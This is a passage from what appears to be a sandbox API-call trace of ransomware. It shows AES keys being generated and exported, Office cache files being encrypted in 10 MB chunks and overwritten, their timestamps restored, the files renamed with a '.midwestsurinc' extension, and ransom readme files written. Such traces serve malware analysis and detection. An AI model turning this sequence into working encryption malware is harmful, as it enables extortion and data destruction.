Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd)) returned 1 [0087.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0087.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0087.900] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0087.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.900] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd)) returned 1 [0087.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0087.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0087.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.901] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd)) returned 1 [0087.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.901] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0087.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0087.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0087.901] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc967850, dwHighDateTime=0x1d301be)) returned 1 [0087.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.901] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0087.901] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.901] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0087.901] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.901] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0087.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0087.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.902] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0087.902] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0087.902] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0087.903] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0088.332] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0088.483] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0088.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0088.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0088.636] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0088.683] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0088.778] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0088.778] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0088.926] FlushFileBuffers (hFile=0x2e8) returned 1 [0088.956] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0xa00000 [0088.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0088.956] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0089.343] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x3370020 [0089.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0089.494] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x3370020) returned 1 [0089.538] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0089.625] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0xa00000 [0089.625] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0089.756] FlushFileBuffers (hFile=0x2e8) returned 1 [0089.785] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x1400000 [0089.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0089.786] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0090.114] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x3370020 [0090.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0090.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x3370020) returned 1 [0090.332] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0090.414] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x1400000 [0090.414] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0090.535] FlushFileBuffers (hFile=0x2e8) returned 1 [0090.563] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x1e00000 [0090.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0090.564] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0090.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x3370020 [0090.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0091.005] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x3370020) returned 1 [0091.049] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0091.141] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=31457280, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x1e00000 [0091.141] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0091.276] FlushFileBuffers (hFile=0x2e8) returned 1 [0091.321] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x2800000 [0091.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1c6dc0) returned 0x2960020 [0091.321] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0x1c6dbd, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0x1c6dbd, lpOverlapped=0x0) returned 1 [0091.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1c6dc0) returned 0x2b30020 [0091.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0091.394] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2b30020) returned 1 [0091.402] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1c71c0) returned 0x2960020 [0091.420] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2960020*, pdwDataLen=0x174fb24*=0x1c6dbd, dwBufLen=0x1c71bd | out: pbData=0x2960020*, pdwDataLen=0x174fb24*=0x1c6dc0) returned 1 [0091.435] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0091.442] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41943040, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x2800000 [0091.442] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0x1c6dbd, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0x1c6dbd, lpOverlapped=0x0) returned 1 [0091.457] FlushFileBuffers (hFile=0x2e8) returned 1 [0091.464] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0091.465] NtClose (Handle=0x2e8) returned 0x0 [0091.758] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.midwestsurinc")) returned 1 [0091.763] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0091.764] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0091.764] GetLastError () returned 0x2 [0091.764] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86170, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0091.764] GetLastError () returned 0x2 [0091.764] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0091.765] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0091.765] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0091.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0091.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x7) returned 0xf7d278 [0091.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0091.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0091.766] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0091.766] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0091.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0091.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0091.767] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0091.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0091.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0091.767] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2e5, lpOverlapped=0x0) returned 1 [0091.767] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x55fc6490, dwHighDateTime=0x1d5dff7)) returned 1 [0091.767] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0091.767] NtClose (Handle=0x2e8) returned 0x0 [0091.768] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0091.768] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0091.769] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0091.769] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0091.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0091.812] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0091.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0091.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0091.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0091.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0091.812] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00)) returned 1 [0091.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0091.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0091.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0091.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0091.813] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0091.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0091.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0091.813] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00)) returned 1 [0091.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0091.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0091.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0091.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0091.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0091.814] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00)) returned 1 [0091.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0091.814] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0091.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0091.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0091.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0091.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0091.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0091.814] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc8a9170, dwHighDateTime=0x1d301be)) returned 1 [0091.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0091.814] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0091.814] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0091.814] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0091.814] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0091.814] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0091.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0091.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0091.815] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0091.815] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0091.815] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x267e00) returned 0x1f50020 [0091.815] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0x267e00, lpNumberOfBytesRead=0x174fb28, 